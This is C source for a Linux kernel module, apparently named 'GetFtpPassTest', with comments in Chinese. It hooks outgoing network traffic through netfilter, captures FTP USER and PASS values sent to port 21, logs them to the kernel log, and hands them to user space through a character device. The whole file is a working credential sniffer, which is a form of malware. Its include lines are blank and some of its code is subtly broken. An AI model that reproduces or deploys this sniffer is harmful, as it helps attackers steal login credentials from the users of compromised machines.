#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SECOND_MAJOR 0
//用于显示IP
#define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \
((unsigned char *)&addr)[1], \
((unsigned char *)&addr)[2], \
((unsigned char *)&addr)[3]
//通信端口
static int second_major = SECOND_MAJOR;
//注册通信端口时用到的结构 保存端口信息
struct cdev g_cdev;
char *g_UserName = NULL;
char *g_PassWord = NULL;
char *g_Retstr = NULL;
int second_open(struct inode *inode, struct file *filp)
{
printk("Open!\n");
return 0;
}
int second_release(struct inode *inode, struct file *filp)
{
printk("Release!\n");
return 0;
}
static ssize_t second_read(struct file *filp, char __user *buf, size_t count,
loff_t *ppos)
{
int ret = 0;
//printk("Read!\n");
if(g_UserName && g_PassWord && g_Retstr)
{
if(*g_UserName == '\0' || *g_PassWord == '\0')
{
return 0;
}
strcpy(g_Retstr,"UserID:");
strcat(g_Retstr,g_UserName);
strcat(g_Retstr," PassWord:");
strcat(g_Retstr,g_PassWord);
//断数据可以用put_user 字符串或大数据使用copy_to_user
if (copy_to_user(buf,g_Retstr,256))
{
ret = -EFAULT;
}else
{
ret = 256;
}
memset(g_UserName,'\0',256);
memset(g_PassWord,'\0',256);
}
return ret;
}
//通信分发函数设置
static const struct file_operations second_fops =
{
.owner = THIS_MODULE,
.open = second_open,//open
.release = second_release,//close
.read = second_read,//read
};
static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
__be32 sip,dip;
struct tcphdr *tcph = NULL;
struct udphdr *udph = NULL;
unsigned short sport = 0;
unsigned short dport = 0;
struct iphdr *iph;
char *data = NULL;
char *Username = NULL;
char *PassWord = NULL;
int i = 0;
int len = 0;
if(skb)
{
struct sk_buff *sb = NULL;
sb = skb;
//获取ip头
iph = ip_hdr(sb);
//不说了
sip = iph->saddr;
dip = iph->daddr;
//如果协议不是TCP就放过
if(iph->protocol != IPPROTO_TCP)
return NF_ACCEPT;
//获取tcp头
/*
ihl(Internet Header Length 报头长度),
位于IP报文的第二个字段,4位,
表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。
*/
tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
//要使用tcp_hdr 必须跳过ip头 也就是将ip端push出去
//tcph = tcp_hdr(sb);
//获得端口
sport=ntohs(tcph->source);
dport=ntohs(tcph->dest);
//printk("dPort:%u",dport);
if(dport != 21)
return NF_ACCEPT;
//获取tcp数据
data = (char *)((int)tcph + (int)(tcph->doff * 4));
//下面的可以抓个FTP包看看就明白了
if(strncmp(data,"USER",4) == 0)
{
//printk("Found User!\n");
data += 5;
while (*(data + i) != '\r'
&& *(data + i) != '\n'
&& *(data + i) != '\0'
&& i < 15)
{
len++;
i++;
}
if ((Username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
{
printk("UserName is null !\n");
return NF_ACCEPT;
}
memset(Username, 0x0, len + 2);
memcpy(Username, data, len);
*(Username + len) = '\0';
if(strcmp(Username,"anonymous") == 0)
{
kfree(Username);
Username = NULL;
}
} else if(strncmp(data,"PASS",4) == 0)
{
//printk("Found PassWord!\n");
data += 5;
while (*(data + i) != '\r'
&& *(data + i) != '\n'
&& *(data + i) != '\0'
&& i < 15)
{
len++;
i++;
}
if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)
{
printk("UserName is null !\n");
return NF_ACCEPT;
}
memset(PassWord,0x0,len+2);
memcpy(PassWord,data,len);
*(PassWord + len) = '\0';
if(strstr(PassWord,"@"))
{
kfree(PassWord);
PassWord=NULL;
}
} else
{
// printk("No Found FTP!\n");
return NF_ACCEPT;
}
//printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
if(Username)
{
printk("UserName:%s\n",Username);
memset(g_UserName,0x0,256);
// strcpy(g_UserName,Username);
memcpy(g_UserName,Username,256);
kfree(Username);
}
if(PassWord)
{
printk("PassWord:%s\n",PassWord);
memset(g_PassWord,0x0,256);
// strcpy(g_PassWord,PassWord);
memcpy(g_PassWord,PassWord,256);
kfree(PassWord);
}
}
return NF_ACCEPT;
}
//设置回调信息
struct nf_hook_ops ipprint_ops = {
.list = {NULL,NULL},
.hook = ipprint_func,//回调函数
.pf = PF_INET,//协议 ipv4还是ipv6
.hooknum = NF_INET_POST_ROUTING,//hook在什么地方
//.hooknum = NF_INET_LOCAL_IN,
.priority = NF_IP_PRI_FILTER+2//优先级
};
static int __init ipprint_init(void)
{
int ret;
int iDevno = 0;
//从用户那里尝试获得一个设备号
dev_t devno = MKDEV(second_major, 0);
//如果用户没有指定 就直接申请一个
if (second_major)
{
ret = register_chrdev_region(devno, 1, "second");
}else
{
ret = alloc_chrdev_region(&devno, 0, 1, "second");
second_major = MAJOR(devno);
}
if (ret < 0)
{
return ret;
}
/*if((g_cdev = (struct cdev)kmalloc(sizeof(struct cdev),GFP_KERNEL)) == NULL)
{
ret = -ENOMEM;
unregister_chrdev_region(devno, 1);
return ret;
}
memset(g_cdev,0x0,sizeof(struct cdev));*/
//获得设备号
iDevno = MKDEV(second_major,0);
//初始化通信
cdev_init(&g_cdev, &second_fops);
g_cdev.owner = THIS_MODULE;
g_cdev.ops = &second_fops;
ret = cdev_add(&g_cdev, iDevno, 1);
if (ret)
{
printk(KERN_NOTICE "Error %d add second%d", ret, 0);
}
g_UserName = kmalloc(256,GFP_KERNEL);
g_PassWord = kmalloc(256,GFP_KERNEL);
g_Retstr = kmalloc(256,GFP_KERNEL);
if(g_UserName==NULL || g_PassWord==NULL || g_Retstr == NULL )
{
unregister_chrdev_region(devno, 1);
/*if(g_cdev)
kfree(g_cdev);*/
return -ENOMEM;
}
//注册网络防火墙
nf_register_hook(&ipprint_ops);
printk("DriverEntry!\n");
return 0;
}
static void __exit ipprint_exit(void)
{
nf_unregister_hook(&ipprint_ops);
kfree(g_UserName);
kfree(g_PassWord);
kfree(g_Retstr);
cdev_del(&g_cdev);
//kfree(g_cdev);
unregister_chrdev_region(MKDEV(second_major, 0), 1);
printk("DriverUnload!\n");
}
module_init(ipprint_init);
module_exit(ipprint_exit);
module_param(second_major, int, S_IRUGO);
MODULE_AUTHOR("djwow");
MODULE_DESCRIPTION("GetFtpPassTest");
MODULE_LICENSE("GPL");